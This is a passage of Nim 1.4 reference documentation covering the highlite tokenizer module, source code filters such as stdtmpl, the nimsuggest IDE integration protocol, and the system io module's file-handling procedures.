one language nested in another. **Note:** Import `packages/docutils/highlite` to use this module You can use this to build your own syntax highlighting, check this example: ``` let code = """for x in $int.high: echo x.ord mod 2 == 0""" var toknizr: GeneralTokenizer initGeneralTokenizer(toknizr, code) while true: getNextToken(toknizr, langNim) case toknizr.kind of gtEof: break # End Of File (or string) of gtWhitespace: echo gtWhitespace # Maybe you want "visible" whitespaces?. echo substr(code, toknizr.start, toknizr.length + toknizr.start - 1) of gtOperator: echo gtOperator # Maybe you want Operators to use a specific color?. echo substr(code, toknizr.start, toknizr.length + toknizr.start - 1) # of gtSomeSymbol: syntaxHighlight("Comic Sans", "bold", "99px", "pink") else: echo toknizr.kind # All the kinds of tokens can be processed here. echo substr(code, toknizr.start, toknizr.length + toknizr.start - 1) ``` The proc `getSourceLanguage` can get the language `enum` from a string: ``` for l in ["C", "c++", "jAvA", "Nim", "c#"]: echo getSourceLanguage(l) ``` Types ----- ``` TokenClass = enum gtEof, gtNone, gtWhitespace, gtDecNumber, gtBinNumber, gtHexNumber, gtOctNumber, gtFloatNumber, gtIdentifier, gtKeyword, gtStringLit, gtLongStringLit, gtCharLit, gtEscapeSequence, gtOperator, gtPunctuation, gtComment, gtLongComment, gtRegularExpression, gtTagStart, gtTagEnd, gtKey, gtValue, gtRawData, gtAssembler, gtPreprocessor, gtDirective, gtCommand, gtRule, gtHyperlink, gtLabel, gtReference, gtOther ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L48) ``` GeneralTokenizer = object of RootObj kind*: TokenClass start*, length*: int buf: cstring pos: int state: TokenClass ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L56) ``` SourceLanguage = enum langNone, langNim, langCpp, langCsharp, langC, langJava, langYaml ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L63) Consts ------ ``` sourceLanguageToStr: array[SourceLanguage, string] = ["none", "Nim", "C++", "C#", "C", "Java", "Yaml"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L68) ``` tokenClassToStr: array[TokenClass, string] = ["Eof", "None", "Whitespace", "DecNumber", "BinNumber", "HexNumber", "OctNumber", "FloatNumber", "Identifier", "Keyword", "StringLit", "LongStringLit", "CharLit", "EscapeSequence", "Operator", "Punctuation", "Comment", "LongComment", "RegularExpression", "TagStart", "TagEnd", "Key", "Value", "RawData", "Assembler", "Preprocessor", "Directive", "Command", "Rule", "Hyperlink", "Label", "Reference", "Other"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L70) Procs ----- ``` proc getSourceLanguage(name: string): SourceLanguage {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L92) ``` proc initGeneralTokenizer(g: var GeneralTokenizer; buf: cstring) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L98) ``` proc initGeneralTokenizer(g: var GeneralTokenizer; buf: string) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L108) ``` proc deinitGeneralTokenizer(g: var GeneralTokenizer) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L111) ``` proc getNextToken(g: var GeneralTokenizer; lang: SourceLanguage) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/packages/docutils/highlite.nim#L889) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/packages/docutils/highlite.nim#L889) nim Source Code Filters Source Code Filters =================== A `Source Code Filter (SCF)` transforms the input character stream to an in-memory output stream before parsing. A filter can be used to provide templating systems or preprocessors. To use a filter for a source file the `#?` notation is used: ``` #? stdtmpl(subsChar = '$', metaChar = '#') #proc generateXML(name, age: string): string = # result = "" <xml> <name>$name</name> <age>$age</age> </xml> ``` As the example shows, passing arguments to a filter can be done just like an ordinary procedure call with named or positional arguments. The available parameters depend on the invoked filter. Before version 0.12.0 of the language `#!` was used instead of `#?`. **Hint:** With `--hint[codeBegin]:on` or `--verbosity:2` (or higher) while compiling or `nim check`, Nim lists the processed code after each filter application. Usage ----- First, put your SCF code in a separate file with filters specified in the first line. **Note:** You can name your SCF file with any file extension you want, but the conventional extension is `.nimf` (it used to be `.tmpl` but that was too generic, for example preventing github to recognize it as Nim source file). If we use `generateXML` code shown above and call the SCF file `xmlGen.nimf` In your `main.nim`: ``` include "xmlGen.nimf" echo generateXML("John Smith","42") ``` Pipe operator ------------- Filters can be combined with the `|` pipe operator: ``` #? strip(startswith="<") | stdtmpl #proc generateXML(name, age: string): string = # result = "" <xml> <name>$name</name> <age>$age</age> </xml> ``` Available filters ----------------- ### Replace filter The replace filter replaces substrings in each line. Parameters and their defaults: `sub: string = ""` the substring that is searched for `by: string = ""` the string the substring is replaced with ### Strip filter The strip filter simply removes leading and trailing whitespace from each line. Parameters and their defaults: `startswith: string = ""` strip only the lines that start with *startswith* (ignoring leading whitespace). If empty every line is stripped. `leading: bool = true` strip leading whitespace `trailing: bool = true` strip trailing whitespace ### StdTmpl filter The stdtmpl filter provides a simple templating engine for Nim. The filter uses a line based parser: Lines prefixed with a *meta character* (default: `#`) contain Nim code, other lines are verbatim. Because indentation-based parsing is not suited for a templating engine, control flow statements need `end X` delimiters. Parameters and their defaults: `metaChar: char = '#'` prefix for a line that contains Nim code `subsChar: char = '$'` prefix for a Nim expression within a template line `conc: string = " & "` the operation for concatenation `emit: string = "result.add"` the operation to emit a string literal `toString: string = "$"` the operation that is applied to each expression Example: ``` #? stdtmpl | standard #proc generateHTMLPage(title, currentTab, content: string, # tabs: openArray[string]): string = # result = "" <head><title>$title</title></head> <body> <div id="menu"> <ul> #for tab in items(tabs): #if currentTab == tab: <li><a id="selected" #else: <li><a #end if href="${tab}.html">$tab</a></li> #end for </ul> </div> <div id="content"> $content A dollar: $$. </div> </body> ``` The filter transforms this into: ``` proc generateHTMLPage(title, currentTab, content: string, tabs: openArray[string]): string = result = "" result.add("<head><title>" & $(title) & "</title></head>\n" & "<body>\n" & " <div id=\"menu\">\n" & " <ul>\n") for tab in items(tabs): if currentTab == tab: result.add(" <li><a id=\"selected\" \n") else: result.add(" <li><a\n") #end result.add(" href=\"" & $(tab) & ".html\">" & $(tab) & "</a></li>\n") #end result.add(" </ul>\n" & " </div>\n" & " <div id=\"content\">\n" & " " & $(content) & "\n" & " A dollar: $.\n" & " </div>\n" & "</body>\n") ``` Each line that does not start with the meta character (ignoring leading whitespace) is converted to a string literal that is added to `result`. The substitution character introduces a Nim expression *e* within the string literal. *e* is converted to a string with the *toString* operation which defaults to `$`. For strong type checking, set `toString` to the empty string. *e* must match this PEG pattern: ``` e <- [a-zA-Z\128-\255][a-zA-Z0-9\128-\255_.]* / '{' x '}' x <- '{' x+ '}' / [^}]* ``` To produce a single substitution character it has to be doubled: `$$` produces `$`. The template engine is quite flexible. It is easy to produce a procedure that writes the template code directly to a file: ``` #? stdtmpl(emit="f.write") | standard #proc writeHTMLPage(f: File, title, currentTab, content: string, # tabs: openArray[string]) = <head><title>$title</title></head> <body> <div id="menu"> <ul> #for tab in items(tabs): #if currentTab == tab: <li><a id="selected" #else: <li><a #end if href="${tab}.html" title = "$title - $tab">$tab</a></li> #end for </ul> </div> <div id="content"> $content A dollar: $$. </div> </body> ``` nim Nim IDE Integration Guide Nim IDE Integration Guide ========================= Nim differs from many other compilers in that it is really fast, and being so fast makes it suited to provide external queries for text editors about the source code being written. Through the `nimsuggest` tool, any IDE can query a `.nim` source file and obtain useful information like definition of symbols or suggestions for completion. This document will guide you through the available options. If you want to look at practical examples of nimsuggest support you can look at the [various editor integrations](https://github.com/Araq/Nim/wiki/Editor-Support) already available. Installation ------------ Nimsuggest is part of Nim's core. Build it via: ``` koch nimsuggest ``` Nimsuggest invocation --------------------- Run it via `nimsuggest --stdin --debug myproject.nim`. Nimsuggest is a server that takes queries that are related to `myproject`. There is some support so that you can throw random `.nim` files which are not part of `myproject` at Nimsuggest too, but usually the query refer to modules/files that are part of `myproject`. `--stdin` means that Nimsuggest reads the query from `stdin`. This is great for testing things out and playing with it but for an editor communication via sockets is more reasonable so that is the default. It listens to port 6000 by default. ### Specifying the location of the query Nimsuggest then waits for queries to process. A query consists of a cryptic 3 letter "command" `def` or `con` or `sug` or `use` followed by a location. A query location consists of: `file.nim` This is the name of the module or include file the query refers to. `dirtyfile.nim` This is optional. The `file` parameter is enough for static analysis, but IDEs tend to have *unsaved buffers* where the user may still be in the middle of typing a line. In such situations the IDE can save the current contents to a temporary file and then use the `dirtyfile.nim` option to tell Nimsuggest that `foobar.nim` should be taken from `temporary/foobar.nim`. `line` An integer with the line you are going to query. For the compiler lines start at **1**. `col` An integer with the column you are going to query. For the compiler columns start at **0**. ### Definitions The `def` Nimsuggest command performs a query about the definition of a specific symbol. If available, Nimsuggest will answer with the type, source file, line/column information and other accessory data if available like a docstring. With this information an IDE can provide the typical *Jump to definition* where a user puts the cursor on a symbol or uses the mouse to select it and is redirected to the place where the symbol is located. Since Nim is implemented in Nim, one of the nice things of this feature is that any user with an IDE supporting it can quickly jump around the standard library implementation and see exactly what a proc does, learning about the language and seeing real life examples of how to write/implement specific features. Nimsuggest will always answer with a single definition or none if it can't find any valid symbol matching the position of the query. ### Suggestions The `sug` Nimsuggest command performs a query about possible completion symbols at some point in the file. The typical usage scenario for this option is to call it after the user has typed the dot character for [the object oriented call syntax](https://nim-lang.org/docs/tut2.html#object-oriented-programming-method-call-syntax). Nimsuggest will try to return the suggestions sorted first by scope (from innermost to outermost) and then by item name. ### Invocation context The `con` Nimsuggest command is very similar to the suggestions command, but instead of being used after the user has typed a dot character, this one is meant to be used after the user has typed an opening brace to start typing parameters. ### Symbol usages The `use` Nimsuggest command lists all usages of the symbol at a position. IDEs can use this to find all the places in the file where the symbol is used and offer the user to rename it in all places at the same time. For this kind of query the IDE will most likely ignore all the type/signature info provided by Nimsuggest and concentrate on the filename, line and column position of the multiple returned answers. Parsing nimsuggest output ------------------------- Nimsuggest output is always returned on single lines separated by tab characters (`\t`). The values of each column are: 1. Three characters indicating the type of returned answer (e.g. `def` for definition, `sug` for suggestion, etc). 2. Type of the symbol. This can be `skProc`, `skLet`, and just about any of the enums defined in the module `compiler/ast.nim`. 3. Fully qualified path of the symbol. If you are querying a symbol defined in the `proj.nim` file, this would have the form `proj.symbolName`. 4. Type/signature. For variables and enums this will contain the type of the symbol, for procs, methods and templates this will contain the full unique signature (e.g. `proc (File)`). 5. Full path to the file containing the symbol. 6. Line where the symbol is located in the file. Lines start to count at **1**. 7. Column where the symbol is located in the file. Columns start to count at **0**. 8. Docstring for the symbol if available or the empty string. To differentiate the docstring from end of answer, the docstring is always provided enclosed in double quotes, and if the docstring spans multiple lines, all following lines of the docstring will start with a blank space to align visually with the starting quote. Also, you won't find raw `\n` characters breaking the one answer per line format. Instead you will need to parse sequences in the form `\xHH`, where *HH* is a hexadecimal value (e.g. newlines generate the sequence `\x0A`). nim io io == This is a part of `system.nim`, you should not manually import it. Imports ------- <since>, <formatfloat> Types ----- ``` File = ptr CFile ``` The type representing a file handle. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L21) ``` FileMode = enum fmRead, ## Open the file for read access only. fmWrite, ## Open the file for write access only. ## If the file does not exist, it will be ## created. Existing files will be cleared! fmReadWrite, ## Open the file for read and write access. ## If the file does not exist, it will be ## created. Existing files will be cleared! fmReadWriteExisting, ## Open the file for read and write access. ## If the file does not exist, it will not be ## created. The existing file will not be cleared. fmAppend ## Open the file for writing only; append data ## at the end. ``` The file mode when opening a file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L23) ``` FileHandle = cint ``` type that represents an OS file handle; this is useful for low-level file access [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L37) Vars ---- ``` stdin: File ``` The standard input stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L49) ``` stdout: File ``` The standard output stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L51) ``` stderr: File ``` The standard error stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L53) Procs ----- ``` proc readBuffer(f: File; buffer: pointer; len: Natural): int {...}{. tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` reads `len` bytes into the buffer pointed to by `buffer`. Returns the actual number of bytes that have been read which may be less than `len` (if not as many bytes are remaining), but not greater. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L162) ``` proc readBytes(f: File; a: var openArray[int8 | uint8]; start, len: Natural): int {...}{. tags: [ReadIOEffect], gcsafe, locks: 0.} ``` reads `len` bytes into the buffer `a` starting at `a[start]`. Returns the actual number of bytes that have been read which may be less than `len` (if not as many bytes are remaining), but not greater. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L170) ``` proc readChars(f: File; a: var openArray[char]; start, len: Natural): int {...}{. tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` reads `len` bytes into the buffer `a` starting at `a[start]`. Returns the actual number of bytes that have been read which may be less than `len` (if not as many bytes are remaining), but not greater. **Warning:** The buffer `a` must be pre-allocated. This can be done using, for example, `newString`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L177) ``` proc write(f: File; c: cstring) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` Writes a value to the file `f`. May throw an IO exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L189) ``` proc writeBuffer(f: File; buffer: pointer; len: Natural): int {...}{. tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` writes the bytes of buffer pointed to by the parameter `buffer` to the file `f`. Returns the number of actual written bytes, which may be less than `len` in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L194) ``` proc writeBytes(f: File; a: openArray[int8 | uint8]; start, len: Natural): int {...}{. tags: [WriteIOEffect], gcsafe, locks: 0.} ``` writes the bytes of `a[start..start+len-1]` to the file `f`. Returns the number of actual written bytes, which may be less than `len` in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L202) ``` proc writeChars(f: File; a: openArray[char]; start, len: Natural): int {...}{. tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` writes the bytes of `a[start..start+len-1]` to the file `f`. Returns the number of actual written bytes, which may be less than `len` in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L210) ``` proc write(f: File; s: string) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L240) ``` proc close(f: File) {...}{.tags: [], gcsafe, raises: [].} ``` Closes the file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L302) ``` proc readChar(f: File): char {...}{.tags: [ReadIOEffect], raises: [IOError, EOFError].} ``` Reads a single character from the stream `f`. Should not be used in performance sensitive code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L307) ``` proc flushFile(f: File) {...}{.tags: [WriteIOEffect], raises: [].} ``` Flushes `f`'s buffer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L316) ``` proc getFileHandle(f: File): FileHandle {...}{.raises: [], tags: [].} ``` returns the file handle of the file `f`. This is only useful for platform specific programming. Note that on Windows this doesn't return the Windows-specific handle, but the C library's notion of a handle, whatever that means. Use `getOsFileHandle` instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L320) ``` proc getOsFileHandle(f: File): FileHandle {...}{.raises: [], tags: [].} ``` returns the OS file handle of the file `f`. This is only useful for platform specific programming. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L328) ``` proc setInheritable(f: FileHandle; inheritable: bool): bool {...}{.raises: [], tags: [].} ``` control whether a file handle can be inherited by child processes. Returns `true` on success. This requires the OS file handle, which can be retrieved via [getOsFileHandle](#getOsFileHandle,File). This procedure is not guaranteed to be available for all platforms. Test for availability with `declared() <system.html#declared,untyped>`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L337) ``` proc readLine(f: File; line: var TaintedString): bool {...}{.tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` reads a line of text from the file `f` into `line`. May throw an IO exception. A line of text may be delimited by `LF` or `CRLF`. The newline character(s) are not part of the returned string. Returns `false` if the end of the file has been reached, `true` otherwise. If `false` is returned `line` contains no new data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L358) ``` proc readLine(f: File): TaintedString {...}{.tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError, EOFError].} ``` reads a line of text from the file `f`. May throw an IO exception. A line of text may be delimited by `LF` or `CRLF`. The newline character(s) are not part of the returned string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L479) ``` proc write(f: File; i: int) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L486) ``` proc write(f: File; i: BiggestInt) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L492) ``` proc write(f: File; b: bool) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L498) ``` proc write(f: File; r: float32) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L502) ``` proc write(f: File; r: BiggestFloat) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L507) ``` proc write(f: File; c: char) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L512) ``` proc write(f: File; a: varargs[string, `$`]) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L515) ``` proc endOfFile(f: File): bool {...}{.tags: [], gcsafe, locks: 0, raises: [].} ``` Returns true if `f` is at the end. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L539) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L539) ``` proc readAll(file: File): TaintedString {...}{.tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` Reads all data from the stream `file`. Raises an IO exception in case of an error. It is an error if the current file position is not at the beginning of the file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L563) ``` proc writeLine[Ty](f: File; x: varargs[Ty, `$`]) {...}{.inline, tags: [WriteIOEffect], gcsafe, locks: 0.} ``` writes the values `x` to `f` and then writes "\n". May throw an IO exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L580) ``` proc open(f: var File; filename: string; mode: FileMode = fmRead; bufSize: int = -1): bool {...}{.tags: [], raises: [], gcsafe, locks: 0.} ``` Opens a file named `filename` with given `mode`. Default mode is readonly. Returns true if the file could be opened. This throws no exception if the file could not be opened. The file handle associated with the resulting `File` is not inheritable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L668) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L668) ``` proc reopen(f: File; filename: string; mode: FileMode = fmRead): bool {...}{. tags: [], gcsafe, locks: 0, raises: [].} ``` reopens the file `f` with given `filename` and `mode`. This is often used to redirect the `stdin`, `stdout` or `stderr` file variables. Default mode is readonly. Returns true if the file could be reopened. The file handle associated with `f` won't be inheritable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L701) ``` proc open(f: var File; filehandle: FileHandle; mode: FileMode = fmRead): bool {...}{. tags: [], raises: [], gcsafe, locks: 0.} ``` Creates a `File` from a `filehandle` with given `mode`. Default mode is readonly. Returns true if the file could be opened. The passed file handle will no longer be inheritable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L718) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L718) ``` proc open(filename: string; mode: FileMode = fmRead; bufSize: int = -1): File {...}{. raises: [IOError], tags: [].} ``` Opens a file named `filename` with given `mode`. Default mode is readonly. Raises an `IOError` if the file could not be opened. The file handle associated with the resulting `File` is not inheritable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L732) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L732) ``` proc setFilePos(f: File; pos: int64; relativeTo: FileSeekPos = fspSet) {...}{.gcsafe, locks: 0, raises: [IOError], tags: [].} ``` sets the position of the file pointer that is used for read/write operations. The file's first byte has the index zero. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L743) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L743) ``` proc getFilePos(f: File): int64 {...}{.gcsafe, locks: 0, raises: [IOError], tags: [].} ``` retrieves the current position of the file pointer that is used to read from the file `f`. The file's first byte has the index zero. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L749) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L749) ``` proc getFileSize(f: File): int64 {...}{.tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` retrieves the file size (in bytes) of `f`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L755) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L755) ``` proc setStdIoUnbuffered() {...}{.tags: [], gcsafe, locks: 0, raises: [].} ``` Configures `stdin`, `stdout` and `stderr` to be unbuffered. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L762) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L762) ``` proc readFile(filename: string): TaintedString {...}{.tags: [ReadIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` Opens a file named `filename` for reading, calls [readAll](#readAll,File) and closes the file afterwards. Returns the string. Raises an IO exception in case of an error. If you need to call this inside a compile time macro you can use [staticRead](system#staticRead,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L836) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L836) ``` proc writeFile(filename, content: string) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, raises: [IOError].} ``` Opens a file named `filename` for writing. Then writes the `content` completely to the file and closes the file afterwards. Raises an IO exception in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L851) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L851) ``` proc writeFile(filename: string; content: openArray[byte]) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Opens a file named `filename` for writing. Then writes the `content` completely to the file and closes the file afterwards. Raises an IO exception in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L864) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L864) ``` proc readLines(filename: string; n: Natural): seq[TaintedString] {...}{. raises: [IOError, EOFError], tags: [ReadIOEffect].} ``` read `n` lines from the file named `filename`. Raises an IO exception in case of an error. Raises EOF if file does not contain at least `n` lines. Available at compile time. A line of text may be delimited by `LF` or `CRLF`. The newline character(s) are not part of the returned strings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L877) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L877) Iterators --------- ``` iterator lines(filename: string): TaintedString {...}{.tags: [ReadIOEffect], raises: [IOError, IOError].} ``` Iterates over any line in the file named `filename`. If the file does not exist `IOError` is raised. The trailing newline character(s) are removed from the iterated lines. Example: ``` import strutils proc transformLetters(filename: string) = var buffer = "" for line in filename.lines: buffer.add(line.replace("a", "0") & '\x0A') writeFile(filename, buffer) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L897) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L897) ``` iterator lines(f: File): TaintedString {...}{.tags: [ReadIOEffect], raises: [IOError].} ``` Iterate over any line in the file `f`. The trailing newline character(s) are removed from the iterated lines. Example: ``` proc countZeros(filename: File): tuple[lines, zeros: int] = for line in filename.lines: for letter in line: if letter == '0': result.zeros += 1 result.lines += 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L918) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L918) Templates --------- ``` template stdmsg(): File ``` Template which expands to either stdout or stderr depending on `useStdoutAsStdmsg` compile-time switch. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L59) ``` template readLines(filename: string): seq[TaintedString] {...}{. deprecated: "use readLines with two arguments".} ``` **Deprecated:** use readLines with two arguments [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/io.nim#L894) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/io.nim#L894)
programming_docs
